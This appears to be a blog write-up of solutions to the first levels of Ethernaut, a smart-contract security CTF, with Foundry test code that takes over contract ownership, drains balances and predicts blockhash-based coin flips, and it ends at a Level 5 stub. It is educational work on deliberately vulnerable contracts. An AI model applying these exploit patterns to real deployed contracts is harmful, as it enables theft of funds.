Ethernaut Solutions
Setup
Ethernaut is an online wargame/CTF from OpenZeppelin to learn about Web3 Security and smart contracts. Each level contains a smart contract written in Solidity that is vulnerable to exploitation. Sounds like a great resource for becoming a web3 auditor!
When the game was originally released, players used testnets like Rinkeby to get test crypto to play with. Since Rinkeby has been deprecated, setting up a testnet for the CTF is a pain and requires spending real money to buy test coins. Instead, I found this GitHub repo from cianranmcveigh5 that allows us to solve the challenges locally and for FREE!
The GitHub repo has all the instructions needed to get up and running. We can create our solutions in Foundry by writing test scripts.
I will update this post with my solutions as I solve them.
Level 1 - Fallback
The goal is to claim ownership of the contract and reduce its balance to 0. The owner is originally set as the person who deployed the contract. Looking at the receive() fallback function, we see that we can claim ownership of the contract by contributing and then sending ether in a separate transaction. Finally, we can drain the contract balance by calling withdraw.
Below is my level solution inside the ./src/test/Fallback.t.sol
file:
// Contribute 1 wei and confirm the transaction was successful
player.contribute{value: 1 wei}();
assertEq(player.getContribution(), 1 wei);
// Trigger the fallback function by doing a .call with some value
address(player).call{value: 1 wei}("");
// Verify that we are the now the owner
assertEq(player.owner(), eoaAddress);
// As the new owner, withdraw all funds
emit log_named_uint("Contract balance before withdraw", address(player).balance);
player.withdraw();
emit log_named_uint("Contract balance after withdraw", address(player).balance);
Run the tests with:
forge test --match-path ./src/test/Fallback.t.sol
Level 2 - Fallout
Our goal is to again claim ownership of the contract. Notice anything out of the ordinary with the constructor for this level?
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
It’s not a constructor after all! It is a function that sets the contract owner to the caller of the function. We can leverage this to gain ownership rather easily.
// The constructor has a type (Fal1out) that lets us call it and become the owner
emit log_named_address("Fallout owner before attack", ethernautFallout.owner());
ethernautFallout.Fal1out();
emit log_named_address("Fallout owner after attack", ethernautFallout.owner());
assertEq(ethernautFallout.owner(), eoaAddress);
Level 3 - Coin Flip
To beat the this level we will need to correctly predict 10 coin flips in a row. Looking at the coin flipping algorithm, the contract uses the blockhash
of the previous block to get the flip result. Solve the level by creating our own contract that will simulate the coin flips. Then call it in a loop in our test case.
CoinFlipHack.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface ICoinFlipChallenge {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipHack {
ICoinFlipChallenge public challenge;
constructor(address challengeAddress) {
challenge = ICoinFlipChallenge(challengeAddress);
}
function attack() external payable {
// simulate the same what the challenge contract does
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// call challenge contract with same guess
challenge.flip(side);
}
fallback() external payable {}
}
CoinFlip.t.sol
:
CoinFlipHack coinFlipHack = new CoinFlipHack(levelAddress);
for (uint i = 0; i < 10; i++) {
//set the blog number to value greater than 0 to prevent underflow
vm.roll(i + 1);
coinFlipHack.attack();
}
Level 4 - Telephone
The goal of this level is to gain ownership of the contract. The source code for this level is very small and there’s only one function:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
So if tx.origin
does not equal msg.sender
, then we become the contract owner. But what are these values? tx.origin
is the origin of the transaction, whereas the msg.sender
is who sent the most recent message.
So if there is a call chain like A -> B -> C -> D, them inside D the msg.sender
will be C and tx.origin
will be A. credit.
Just like the CoinFlip level, we can create a contract to call Telephone.sol and gain ownership. So our chain will look like Telephone.t.sol -> TelephoneHack.sol -> Telephone.sol.
Level 5 - Token
The goal of this level is for you to hack the basic token contract.
Credit and References
- Ethernaut Solutions by Cmichel
- Solidity by Example